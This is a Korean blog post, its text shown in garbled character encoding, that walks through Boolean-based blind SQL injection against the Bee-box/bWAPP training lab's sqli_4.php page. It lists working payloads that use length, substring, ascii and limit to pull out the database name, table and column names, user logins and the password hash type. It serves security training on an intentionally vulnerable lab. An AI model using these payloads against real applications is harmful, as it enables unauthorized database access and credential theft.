[Bee-box] Blind SQL ์ธ์ ์ - Boolean Based
- -
์ด๋ฒ ํฌ์คํ ์ Blind SQL์ธ์ ์ Boolean Based ๋ฐฉ๋ฒ ์ ๋๋ค.
์ค์ตํ๋ ๋ชจ๋ ๊ณต๊ฒฉ์ ์ค์ ๋ก ์ฌ์ฉํ์๋ฉด ์๋ฉ๋๋ค.
ํ์ฉ๋ฐ์ง ์์ ์๋น์ค ๋์์ ํดํน์ ์๋ํ๋ ํ๋์ ๊ธ์งํ๋ฉฐ,
๋ชจ๋ ๋ฒ์ ์ฑ ์์ ์ฌ์ฉ์์๊ฒ ์๋ ๊ฒ์ ๋ช ์ฌํด์ฃผ์ธ์.
์ค๋ช ์ ์์, ์์ผ๋ก ํ๋ SQL ์ธ์ ์ ์ ์ผ๋ถ ๊ณต๊ฒฉ๋ค์ ๋์๋ฐฉ์์ ๋ฐ๋ก ํฌ์คํ ํ์ง ์์๊ฒ์.
๋๋ถ๋ถ ๊ฐ์ ์ค๋ช ์ด๊ธฐ ๋๋ฌธ์ ์๋ตํ๊ณ , ๋ค๋ฅธ ๊ฒฝ์ฐ ๊ธฐ์ฌํ๋๋ก ํ๊ฒ ์ต๋๋ค.
์ค๋ ์ค์ตํด๋ณผ Blind SQL์ธ์ ์ ์ ์ ์ ํด์๋ SQL์ธ์ ์ ๊ณผ๋ ์กฐ๊ธ ๋ค๋ฅธ ๋ฐฉ์์ด๋ฏ๋ก,
Blind SQL์ธ์ ์ ์ ๋จผ์ ์ค๋ช ๋๋ฆฌ๊ณ ์ค์ต์ ์์ํ๋๋ก ํ๊ฒ ์ต๋๋ค.
Blind SQL ์ธ์ ์ ์ด๋
'Blind SQL' ์ธ์ ์ ์ ์ฟผ๋ฆฌ์ ๊ฒฐ๊ณผ๋ฅผ ์ฐธ๊ณผ ๊ฑฐ์ง์ผ๋ก๋ง ์ถ๋ ฅํ๋ ํ์ด์ง์์ ์ฌ์ฉํ๋ ๊ณต๊ฒฉ์ด๋ค.
์ถ๋ ฅ ๋ด์ฉ์ด ์ฐธ / ๊ฑฐ์ง ๋ฐ์ ์์ด์ ๊ทธ๊ฒ์ ์ด์ฉํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ด์ฉ์ ์ถ์ธกํ์ฌ ์ฟผ๋ฆฌ๋ฅผ ์กฐ์ํ๋ค.
์์ธํ ์ค๋ช โผ
Blind SQL ์ธ์ ์ ์ ์ฟผ๋ฆฌ๋ฌธ์ ์ฌ์ฉํ๋ ํจ์๋
substring,ascii,limit ๋ฑ์ด ์๋ค. (๊ฐ ํจ์๋ ์๋์ ์ค์ต์ ํ ๋ ๋์ฑ ์ดํด์ฝ๊ฒ ์ค๋ช ํ ์์ )
substringํจ์๋ ์ฒซ ๋ฒ์งธ ์ธ์๋ก ๋ฐ์ ๋ฌธ์์ด์ ์ง์ ํ ๊ธธ์ด๋งํผ ์ถ๋ ฅํ๋๋ฐ, ์ฃผ๋ก ๋ฌธ์ ํ๋์ฉ ์ถ๋ ฅ ํ์ฌ ์ด๋ฆ์
์์๋ด๋๋ฐ์ ์ฌ์ฉํ๋ค.
asciiํจ์๋ ๋ฌธ์๋ฅผ ์์คํค์ฝ๋๋ก ๋ณํํ๋๋ฐ, ์์๋ฐ์ดํ(')๋ฅผ ์ฐํํ๋ ๋ณ์์ผ ๋ ๋ฌธ์๋ฅผ ์ ๋ ฅํ๊ธฐ ์ํ์ฌ ์ฌ์ฉํ๋ค.
limit ํจ์๋ ๋ฌธ์์ด์ ๊ธธ์ด๋ฅผ ๋ฐํํ๋ค. ๋ฌธ์ฅ์ด์ ๊ธธ์ด๋ฅผ ์์๋ด๋ฉด substring ํจ์๋ก ๋ฌธ์์ด์ ์ถ์ธกํ๊ธฐ ์ฌ์์ง๋ค.
์ธํจ์๋ฅผ ํตํด ์์์ ๊ฐ์ ์ ๋ ฅํ๋ฉฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ฉ์ ์์๋ผ ๋๊น์ง ๊ณ์ ๋น๊ตํ๋ค.
๊ณต๊ฒฉํ๋ฆ๋
Boolean Based
Bollean Based ์ธ์ ์ ์ ์ฐธ๊ณผ ๊ฑฐ์ง๋ง ์ถ๋ ฅํ๋ ํ์ด์ง์ ๊ณต๊ฒฉ์๊ฐ ์กฐ์ํ ์ฟผ๋ฆฌ๋ก ์ธํด ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ฉ์
๋ ธ์ถํ๋ ์ทจ์ฝ์ ์ด๋ค. ์ฟผ๋ฆฌ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ฉ์ด ์ผ์นํ์ฌ ์น ํ์ด์ง์์ ์ฐธ์ ์ถ๋ ฅ์ํฌ ๋๊น์ง ์์์ ๊ฐ์ ๋์ ํ๋ค.
'sqli_4.php' ํ์ด์ง๋ ์ฌ์ฉ์๊ฐ ์ ๋ ฅํ ๊ฒ์์ด์ ์ผ์นํ๋ ์ํ๊ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์๋์ง๋ฅผ ์ถ๋ ฅํ๋ค.
๋์ด๋ ํ
๊ฒ์๋์ ์์ด๋ฐ์ดํ๋ฅผ ์ ๋ ฅํ์ฌ SQL ์ธ์ ์ ์ด ๊ฐ๋ฅํ์ง ์์๋ณธ๋ค.
SQL์ธ์ ์ ์ทจ์ฝ์ ์ด ์๋ ๊ฒฝ์ฐ SQL์ค๋ฅ ๋ฉ์์ง๋ฅผ ์ถ๋ ฅํจ.
๋ฌธ๋ฒ ์๋ฌ : ์ฆ SQL์ธ์ ์ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค๋ ๋ป
๊ฒฐ๊ณผ๋ฅผ ํญ์ ์ฐธ์ผ๋ก ๋ง๋๋ ์ฟผ๋ฆฌ ์ ๋ ฅ์ ์๋ ์ํ๊ฐ ์กด์ฌํ๋ค๋ ๋ฉ์์ง๊ฐ ์ถ๋ ฅ๋๋ค.
์ฆ ๊ฒฐ๊ณผ๊ฐ ์ฐธ ์ผ๋ ์น ํ์ด์ง์์ ์ถ๋ ฅํ๋ ๋ฉ์์ง์ด๋ค.
์ด ๊ฒ์๋์ ํตํด boolean based sql ์ธ์ ์ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
๊ฒฐ๊ณผ๊ฐ ๊ฑฐ์ง์ธ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ ๋ฉ์ธ์ง๊ฐ ์ถ๋ ฅ๋๋ค.
๋ชจ๋ ๊ฒฐ๊ณผ๋ฅผ ๋ ๋ฌธ์ฅ์ผ๋ก ์ถ๋ ฅ์์ผ ์ค์ผ๋ก, ์ด ๋ ๋ฉ์ธ์ง๋ฅผ ํตํ์ฌ ์ฟผ๋ฆฌ์ ์ฐธ๊ณผ ๊ฑฐ์ง ์ฌ๋ถ๋ฅผ ํ๋จ ํ ์ ์๋ค.
- ํ์ ์ฝ์ค -
1. SQL์ธ์ ์
ํ์ธ -> ์ค๋ฅ๋ฉ์ธ์ง (์์๋ฐ์ดํ ์ฐ์ด์)
2. ์๋ฌ๋ฉ์ธ์ง ํ์ธ (์ฐธ์ผ๋ ๋ฉ์ธ์ง์ ๊ฑฐ์ง์ผ๋ ๋ฉ์ธ์ง))
3. ์ปฌ๋ผ์ ๋ง์ถฐ๋ณด๊ธฐ(union base sql injection) ์๊ณผ ์ด์ด์ ํ์ธํ ์ ์์.
์ฐธ ๊ฑฐ์ง ๋ฉ์ธ์ง๋ก ์์ ์ฟผ๋ฆฌ๋ฌธ ์ปฌ๋ผ ์๊ฐ 7๊ฐ ๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
์ฆ ์ด ํ์ด์ง์ ์ ์ ์ฟผ๋ฆฌ๋ ์ด 7๊ฐ์ ์นผ๋ผ์ ํธ์ถํ๋ค.
๊ธฐ์กด์ UNION Based SQL์ธ์ ์ ๊ณผ ๋ค๋ฅด๊ฒ ๊ฒฐ๊ณผ๋ฅผ ์ถ๋ ฅํ์ง ์๊ณ
๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ด์ ์๋์ง ์ฒดํฌ๋ง ํด์ฃผ๊ธฐ ๋๋ฌธ์ ์์ ๋ด์ฉ์ ์ ์ถํ์ฌ, ์ธ์ ์ ์ ์๋ํด์ผํ๋ค.
์ด์ ๋ถํฐ substring, length, limit, ascii ๋ฑ์ ํจ์๋ฅผ ์ฌ์ฉํด์ ๋ด์ฉ์ ์ถ์ธกํด๋ณด๊ฒ ๋ค.
<!-- ๋ธ๋ผ์ธ๋ SQL์ธ์ ์ ์ ๋งค์ฐ ๋ ธ๊ฐ๋ค๋ฅผ ํด์ผํฉ๋๋ค... ๊ทธ๋ ๊ธฐ ๋๋ฌธ์
ํ์ด์ฌ์ผ๋ก ์ฝ๋๋ฅผ ์ง์ ํด๋ณด์๋ฉด ๊ฒธ์ฌ๊ฒธ์ฌ ์ข์ ๊ฒ ๊ฐ์์! -->
DB์ ๋ด์ฉ์ด ์๋๋ ์๋๋๋ง ํ์ธ์ด ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์, ๊ธธ์ด,์ด๋ฆ ๋ฑ ๋ชจ๋ ์ ๋ณด๊ฐ ์๋ค. ์ฆ ์๋์ ๊ฐ์ ์์๋ก
ํ์ ์ ํด์ฃผ๋ ๊ฒ์ด ์ค์ํ๋ค.
1. ๋ฐ์ดํฐ ๋ฒ ์ด์ค ์ด๋ฆ (์ ๊ธธ์ด) ---> ๊ธ์ ๊ธธ์ด ํ์
1.1 ๋ฐ์ดํฐ ๋ฒ ์ด์ค ์ด๋ฆ --> ๊ธ์ ๊ธธ์ด์ ๋ง์ถฐ ํ ๊ธ์์ฉ ํ์
2. ํ ์ด๋ธ ์ด๋ฆ(์ ๊ธธ์ด) --> ํ ์ด๋ธ์ ํ๋๊ฐ๊ฐ ์๋
(์ฆ, ์ฌ๋ฌ๊ฐ์ ํ ์ด๋ธ ์ค ์์ฌ์ด ๊ฐ๋ ํ ์ด๋ธ ์ด๋ฆ์ ์๋ ค๋ฉด, 1๋ฒ์งธ ์ค๋ถํฐ ์ด์ด ๋๊ฐ์ ์์์ผํจ
ex : ์ฒซ๋ฒ์งธ ํ ์ด๋ธ ์ด๋ฆ์ ๊ธธ์ด ๊ตฌํ๊ณ ์ด๋ฆ ์ ์ถ -- > ๋๋ฒ์งธ ํ ์ด๋ธ ์ด๋ฆ ๊ธธ์ด ๊ตฌํ๊ณ ์ด๋ฆ ์ ์ถํ๊ธฐ .....๋ฑ ์ํ๋
ํ ์ด๋ธ์ด ๋์ฌ ๋๊น์ง ๋ฐ๋ณต)
3. ์ปฌ๋ผ ์ด๋ฆ(์ ๊ธธ์ด) --> ์ปฌ๋ผ ๋ํ ํ๋๊ฐ๊ฐ ์๋
4. ๋ฐ์ดํ ์ถ์ถํ๊ธฐ (pw๊ฐ์๊ฒฝ์ฐ ํด์๊ฐ์ผ ํ๋ฅ ์ด ๋์.)
๋์ผ๋ก ํ ์ด๋ธ๊ณผ ์ปฌ๋ผ๋ค์ ํ์ธํด๊ฐ๋ฉฐ, ์ค์ต์ ํด์ผ ์ดํด๊ฐ ๋น ๋ฅด๊ธฐ ๋๋ฌธ์ putty๋ก ์ ์ํ์ฌ DB๋ด๋ถ๋ฅผ ํ์ธํด๋ณธ๋ค.
1. DB์ด๋ฆ์ ๊ธธ์ด ํ์
ํ๊ธฐ
'or 1=1 and length(database())=1#
'or 1=1 and length(database())=2#
'or 1=1 and length(database())=3#
'or 1=1 and length(database())=4#
'or 1=1 and length(database())=5# -> ok DB์ด๋ฆ์ ๋ญ์ง ๋ชจ๋ฅด์ง๋ง 5๊ธ์.
--> database์ด๋ฆ์ ๊ธธ์ด๋ '5'
์ฆ 5๊ธ์๋ผ๋ ๊ฒ์ ์์๋ผ ์ ์์
and๊ฐ ์ฐ์ ์์๊ฐ ๋์์ ๋จผ์ ํ๊ณ or ์ฐ์ฐ์ ํจ
and ์ฐ์ฐ ํ or 1=1 ์ฟผ๋ฆฌ๋ฅผ ํตํด ์๋ฒ์ ์ ์์ฟผ๋ฆฌ์ ์ฐ๊ฒฐ๋๋ค.
substring() ํจ์๋ฅผ ์ฌ์ฉํ๋ฉด,
๊ทธ ๋จ์ด์ ๋ํ ๊ธ์ ํ๋ํ๋๋ฅผ ํ์
ํ ์ ์๋ค.
ํ๊ธ์ ์ฉ ๋ง์ถฐ์ผ ํ๋๋ฐ ์ด๋ป๊ฒ ๋ง์ถฐ์ผ ํ ๊น?
๋ฐ๋ก substring์ ์ด์ฉํด์ ๋จ์ด์ ํ๊ธ์์ฉ ๋ง์ถ๋ ๊ฒ์ด๋ค.
1-1. DB ์ด๋ฆ ํ์
์ฒซ๋ฒ์งธ ๊ธ์์ a-z ์๋ฌด ์ํ๋ฒณ์ ๋ฃ์ด๋ณธ๋ค.
'or 1=1 and substring(database(),1,1) = 'a' # -> ๊ฑฐ์ง ๊ฒฐ๊ณผ ๋ฐํ
'or 1=1 and substring(database(),1,1) = 'b' # -> ์ฐธ ๊ฒฐ๊ณผ ๋ฐํ
--> ์ฆ b _ _ _ _ ๋ผ๋ ๊ฒ์ ์ ์ ์์
substring ์ ์ฒซ๋ฒ์งธ ์ธ์๋ database์ด๋ฆ์ ์๋ ค์ฃผ๋ ์ ์ ํจ์๋ฅผ ๋ฃ์์ต๋๋ค.
๋๋ฒ์งธ ์ธ์๋ ์ฒซ๋ฒ์งธ ์ธ๋ฑ์ค ๊ฐ์ ๋งํ๋ฉฐ substring์์ ์ฒซ๋ฒ์งธ ์ธ๋ฑ์ค๋ 0์ด์๋ 1์
๋๋ค.
์ธ๋ฒ์งธ ์ธ์๋ ๋ช๊ธ์๋ฅผ ์ถ์ถํ ๊ฒ์ธ์ง?๋ก ์ดํดํด๋ ๋ ๊ฒ๊ฐ์ต๋๋ค.
ex) substring('abcd',1,3) ์ด๋ผ๋ฉด ์ฒ์ ๊ฐ์ธ a๋ถํฐ 3๊ฐ๋ฅผ ์ถ๋ ฅ ์ฆ abc๊ฐ ํด๋น๋๋ ๊ฑฐ์ฃ .
๋๋ฒ์งธ ๊ธ์๋ฅผ ์์๋ณด๋ ค๋ฉด
'or 1=1 and substring(database(),2,1)='w'# ๋ผ๋ ์ฟผ๋ฆฌ๋ฌธ์ ์จ์ค๋๋ค.
(์ฐ๋ฆฌ๋ bwapp๋ผ๋ db์ด๋ฆ์ ์๊ณ ์๊ธฐ ๋๋ฌธ์ ๊ณผ์ ์ ์๋ตํ ๊ฒ, ๋ง์ฝ ์ด๋ฆ์ ๋ชจ๋ฅธ๋ค๋ฉด a-z,0-9,A-Z,-,_๋ฑ๋ฑ..์ ๋ ฅํด๋ด์ผํจ. )
๋๋ฒ์งธ ์ธ๋ฑ์ค ๊ฐ๋ง ๋ฐ๊ฟ์ฃผ๋ฉด ๊ฐ ๊ธ์๋ฅผ ํ์
ํ ์ ์๋ค.
๊ทผ๋ฐ W์ w๋ชจ๋ ์ฐธ์ผ๋ก ๊ฐ์ ๋๋ ค์ฃผ๋ ๊ฒ์๋ณด๋ ๋์๋ฌธ์ ๊ตฌ๋ถx
์ด๋ฐ์์ผ๋ก 5๋ฒ์งธ ๊ธ์ ๊น์ง ๋ฌด์์ธ์ง ๊ตฌํด์ค ์ ์๋ค.
2. Table์ด๋ฆ์ ๊ธธ์ด ํ์
์ฆ bWAPP๋ผ๋ ๋ฐ์ดํฐ ๋ฒ ์ด์ค์ ์ฒซ๋ฒ์งธ ํ ์ด๋ธ ์ด๋ฆ์ 4๊ธ์๋ผ๋ ๊ฒ์ ์ ์ถ ํ ์ ์๋ค.
์ด์ฟผ๋ฆฌ์ ๋ํ ์์ธํ ์ค๋ช ์ ์๋ ์ฐธ๊ณ โผ
* ์ฌ๊ธฐ์ limit๋ substring ๊ณผ ์กฐ๊ธ ๋ค๋ฅด๊ฒ ํ ๊ธ์๊ฐ ์๋๋ผ ํ ๋จ์ด๋ฅผ ๊ฐ์ ธ์จ๋ค๊ณ ์ดํด ํ์๋ฉด ๋ฉ๋๋ค.
* limitํจ์๋ ์ฒซ๋ฒ์งธ ์ธ๋ฑ์ค๋ฅผ substring ๊ณผ ๋ค๋ฅด๊ฒ 0์ผ๋ก ํ๋ฉฐ, ๋ค์ ์ค๋ ์ซ์๋ ์ญ์ ๋ช๊ฐ์ ๋จ์ด๋ฅผ ๊ฐ์ ธ์ค๋๋ ๋ก ์ดํด ํ์๋ฉด ๋ ๊ฒ๊ฐ์ต๋๋ค. -> limit 0,1 ์ ์ ์ผ ์ ์ฒ์ ๋จ์ด๋ฅผ ๊ฐ์ ธ์ค๊ฒ ๋ค๋ ๋ป.
์ ํ ์ด๋ธ์ ๋ณด๊ณ ์ค๋ช ํ์๋ฉด limit 0,1 ์ blog๋ฅผ ์๋ฏธ (์ฆ 4๊ธ์๊ฐ ๋ง์)
limit 1,1 ์ heroes๋ฅผ ๋งํจ
ex) limit 1,3์ heroes๋ถํฐ 3๊ฐ ์ฆ, heroes, movies, users๋ฅผ ๋ปํจ
* ๊ดํธ๋ฅผ ๋๋ฒ ์ณ์ค์ง์ ๋ํด ์ ๋ ๊ฐ์ธ์ ์ผ๋ก ์๋ฌธ์ด ์๊ฒผ์์ต๋๋ค. ๊ทธ๋์ ์ ๊ฐ ์ฐพ์๋ณธ ๊ฒฐ๊ณผ
length๋ ํ ๋ณ์์ ๋ํ ๊ฐ, ์ฆ ๋ฌด์ธ๊ฐ ํ ๊ฐ์ ๋ํ ๊ธธ์ด๋ฅผ ๋ฐํํด ์ฃผ๋ ํจ์์ธ๋ฐ
select ๋ฌธ์ด ๊ทธ๋ฅ ๋ค์ด๊ฐ ์๋ ์๋ค. -> ๊ดํธ๋ฅผ ํ๋ฒ๋ ํด์ ๊ทธ ์์์ limit ๋ก ์ ์ผ ์ฒซ๋ฒ์งธ ๊ฐ ์ฆ blog ๋ผ๋ ๋ฌธ์์ด์ lengthํจ์์ ๋ฃ๋๋ค -> ๊ทธ๋ผ ๊ทธ blog์ ๋ํ ๊ธธ์ด๋ฅผ ๋ง์ถ ์ ์์.
์ด๋ ๊ฒ ์ดํดํ์๋ฉด ๋ ๊ฒ ๊ฐ์ต๋๋ค.
* type ์ด๋ผ๊ณ ์ง์ ํด๋ ์ด์ ๋ base table์์ฌ์ฉํ๋ฉด ํน์ ํ๊ฒ ์ง์ ํ ๊ทธ ํ ์ด๋ธ์ ๋ํ ์ ๋ณด๋ง ๋ณผ ์ ์๋ค.
bee-box ๊ต์ฌ์์๋ ํ ์ด๋ธ ํ์ ์ ์ง์ ํ๋ฉด information_Schema์ ์๋ ๋ฉํ๋ฐ์ดํฐ ์ ์ฅ์ฉ ํ ์ด๋ธ์ ์ ์ธ ํ๋ค๊ณ ๋์ด์๋ค.
-->์ฆ, bWAPP ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ํ ํ ์ด๋ธ๋ง ์ถ๋ ฅ์ ์ํฌ๊ฑฐ๊ณ , information_schema์ ์๋ ๋ฉํ๋ฐ์ดํ๋ ์ ์ธํ์ฌ ์ถ๋ ฅํ๋ค๋ ์ฟผ๋ฆฌ์ด๋ค.
https://www.mssqltips.com/sqlservertutorial/196/informationschematables/
์ ์ฃผ์ ์ฐธ๊ณ
2-1. Table์ด๋ฆ ํ์
์ด์ ์ด table์ ์ด๋ฆ์ ๋ง์ถฐ๋ณธ๋ค๊ณ ๊ฐ์ ํ ๋ substring์ผ๋ก a,b,c,d ..์ด๋ ๊ฒ ๋ค ํ๋์ฉ ์ผ์ผ์ด ํ๊ธฐ์
์๊ฐ์ด ์ค๋๊ฑธ๋ฆฌ๋ฏ๋ก, ascii ํจ์๋ฅผ ์ฌ์ฉํ๋ค.
์ด ํจ์๋ก ๋ฒ์๋ฅผ ํ์ ํ์ฌ ์์๋ด๋ฉด ๋ฒ์๊ฐ ์ขํ์ง๋ฏ๋ก ํจ์ฌ ์๊ฐ์ด ๋จ์ถ ๋๋ค.
์์ >> 'or 1=1 and ascii(x)
-> x์์๋ substring ํจ์ ์ฆ substring(y)
-> y์์๋ (z),1,1 ํ๊ธ์๋ฅผ ๊ฐ์ ธ์ฌ ๋์์ธ ๋ฌด์ธ๊ฐ์ ๊ฐ z,1,1
-> z = select ์ฟผ๋ฆฌ๋ฌธ -> ์ฆ ์ฒซ๋ฒ์งธ ํ
์ด๋ธ์ด๋ฆ
-->ํฉ์ณ์ง๋ฉด
'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100#
100๋ณด๋ค ์์ ์ฟผ๋ฆฌ๋ฌธ์ด ํฐ๊ฐ?
๊ฒฐ๊ณผ =no
์ฆ 100๋ณด๋ค ์์ ์๋ฅผ ์
๋ ฅํ๋ฉด ๋๋ค. ascii ์ฝ๋๋ก 100์ 'd'
d๋ณด๋ค ์๋์ธ c,b,a๋ฅผ ์
๋ ฅํด๋ณด๋ฉด ๋๋ค.
'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) = 98#
๊ฒฐ๊ณผ = ok
์ฐธ์ด๋ฏ๋ก, ์ฒซ๋ฒ์งธ ํ ์ด๋ธ์ ์ด๋ฆ์ b _ _ _ ์ด๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
1)๋ฒ์งธ ๊ธ์
'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) = 98#
2)๋ฒ์งธ ๊ธ์
'or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),2,1)) = 108#
๋๋ฒ์งธ ๊ธ์๋ฅผ ์์๋ณผ๋๋ limitํจ์๋ ๊ทธ๋๋ก (DB๋ชฉ๋ก์ค ์ฒซ๋ฒ์งธ ์ค์ ๋จ์ด์ด๋ฏ๋ก) ํ๊ณ , substring์
์์ ์ธ๋ฑ์ค๋ฅผ 2๋ก ๋ฐ๊ฟ์ฃผ๋ฉด ๋๋ค.
...์ด๋ฐ์์ผ๋ก ์ญ ์์๋ณด๋ค ๋ณด๋ฉด
users ๋ผ๋ ํ
์ด๋ธ์ ์ฐพ๊ฒ ๋ ๊ฒ์ด๋ค.
(๋ค๋ฒ์งธ์ ํ ์ด๋ธ์ด ์์. )
์ฌ์ฉ์ ๊ณ์ ์ ๋ณด๊ฐ ๋ด๊ฒจ์์ ๊ฒ ๊ฐ๊ธฐ ๋๋ฌธ์ ์ด ํ ์ด๋ธ์ ๋ด์ฉ์ ํ์ ํด๋ณด๋ฉด ๋๋ค.
3. Column ์ด๋ฆ์ ๊ธธ์ด ํ์
bWAPP๋ผ๋ ๋ฐ์ดํ๋ฒ ์ด์ค์ users๋ผ๋ ํ
์ด๋ธ.
๊ทธ๋ผ users์ ์ปฌ๋ผ์ ์์๋ณด๊ธฐ ์ํด ์ฒซ๋ฒ์งธ ์ปฌ๋ผ๋ถํฐ ๊ธธ์ด๋ฅผ ์์๋ณธ๋ค.
'or 1=1 and length((select column_name from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 0,1))=2#
์ฒซ๋ฒ์งธ ์ปฌ๋ผ์ ๋๊ธ์์ด๋ค.
3-1. Column ์ด๋ฆ ํ์
1๋ฒ์งธ ๊ธ์ :
'or 1=1 and substring((select column_name from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 0,1 ),1,1)='i'#
2 ๋ฒ์จฐ ๊ธ์ :
'or 1=1 and substring((select column_name from information_schema.columns where table_schema='bWAPP' and table_name='users' limit 0,1 ),2,1)='d'#
์ฆ ์ฒซ๋ฒ์งธ ์ปฌ๋ผ = id
์ด๋ฐ์์ผ๋ก ๊ธ์ ๊ธธ์ด์ ์ฒซ๋ฒ์งธ๊ธ์๋ฅผ ์๋ฉด ๋๊ฐ ์ ์ถ ํ ์๋ ์์.
์ด๋ฐ์์ผ๋ก login์ด๋ผ๋ ๋๋ฒ์งธ ์ปฌ๋ผ๋ช ์ ์์๋๋ค๊ณ , ๊ฐ์ ํ ๋ login ์ ๋ฐ์ดํฐ๋ฅผ ํ์ ํ๋ ค๋ฉด
1๋ฒ์งธ ๋ฐ์ดํฐ :
'or 1=1 and length((select login from users limit 0,1))=6#
2๋ฒ์งธ data :
'or 1=1 and length((select login from users limit 1,1))=3#
์ฒ์ ๊ธ์์๋ A.I.M.(6๊ธ์) ๋๋ฒ์งธ ๊ธ์์๋ bee(3๊ธ์) ์ธ๊ฒ์ ์ ์ ์์.
๊ฐ์ ๋ฐฉ์์ผ๋ก ๋ด์ฉ๋ ํ์
ํ ์ ์์.
๋ค ๋น์ทํ ๋งฅ๋ฝ์ด๋ฏ๋ก
length, ascii, limit, substring ํจ์๋ง ์ ์ดํดํ๋ค๋ฉด blind sql ์ฟผ๋ฆฌ๋ฌธ์ ๋ง๋๋ ๊ฒ์ด ๊ทธ๋ฆฌ ์ด๋ ต์ง ์์ ๊ฒ์
๋๋ค.
๋๋จธ์ง ์ฟผ๋ฆฌ๋ ์๋ตํ๊ณ password๋ฅผ ์์์ ๋๋ฅผ ๊ฐ์ ํ์ฌ ๋ฌด์จ ํด์ํจ์๋ฅผ ์ฐ๋์ง ์์๋ณด๊ฒ ์ต๋๋ค.
password๋ ํด์๊ฐ์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋๋ฐ,
blind sql์ธ์ ์ ์ ํตํด ์ถ์ธก์ด ๊ฐ๋ฅํ๋, ์ผ์ผ์ด ํ์ธํ๊ธฐ์ ์๊ฐ์ด ๋๋ฌด ์ค๋ ๊ฑธ๋ฆฌ๊ธฐ ๋๋ฌธ์,
๋น๋ฐ๋ฒํธ์ ์ด๋ค ํด์ ํจ์๋ฅผ ์ฌ์ฉํ๋์ง ์์๋ณด๋๋ก ํ๊ฒ ๋ค.
(์ด๋ถ๋ถ์ ๋ํด์๋ sql injection ์๋ํํด์ ํ์ด์ฌ์ ์ฌ์ฉํด์ ๋ง๋ค์ด ๋ณด๋ ค ํ๋ค.)
์ด๊ฑด password๋ฅผ ์๊ณ ์๋ค๊ณ ๊ฐ์ ํ๊ณ ํ๋ ๊ฒ์ (login ='bee'์ ํจ์ค์๋๋ bug๋ฅผ sha-1 ํด์๊ฐ์ผ๋ก ๋ณํํ ๊ฐ)
'or 1=1 and md5("bug")=(select password from users where login='bee')#
๊ฒฐ๊ณผ ๊ฐ = ๊ฑฐ์ง
์ฆ ์ด ๋น๋ฐ๋ฒํธ์ ํด์ ํจ์๋ md5๊ฐ ์๋๋ค.
'or 1=1 and sha1("bug")=(select password from users where login='bee')#
๊ฒฐ๊ณผ ๊ฐ = ์ฐธ
๋ฐ๋ผ์ ๋น๋ฐ์ค์์๋ ๋น๋ฐ๋ฒํธ ํด์ ํจ์๋ฅผ SHA-1 ํจ์๋ฅผ ์ฌ์ฉํ์์ ์ ์ ์๋ค.
SQL ์ธ์ ์ ์ฑ๊ณต
๋์ ๋ฐฉ์์ ์์ ์ค์ตํด์๋ SQL์ธ์ ์ ์ ๋์๋ฐฉ์๊ณผ ๋์ผํจ์ผ๋ก, ์๋ตํ๊ฒ ์ต๋๋ค.
PHP ๊ธฐ๋ณธ ์ ๊ณตํจ์ mysql_real_escape_string()ํจ์ ์ฌ์ฉํ์ฌ ์ ๋ ฅํ ๋ฐ์ดํฐ ์ฐํ.
'Game > Bee-box' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Bee-box] Blind SQL ์ธ์ ์ - ์น ์๋น์ค/SOAP (0) | 2020.08.25 |
---|---|
[Bee-box] Blind SQL ์ธ์ ์ - Time Based (0) | 2020.08.24 |
[Bee-box] SQL ์ธ์ ์ - Stored(Blog) (0) | 2020.08.18 |
[Bee-box] SQL ์ธ์ ์ - Login Form/Hero (0) | 2020.08.11 |
์์คํ ๊ณต๊ฐ ๊ฐ์ฌํฉ๋๋ค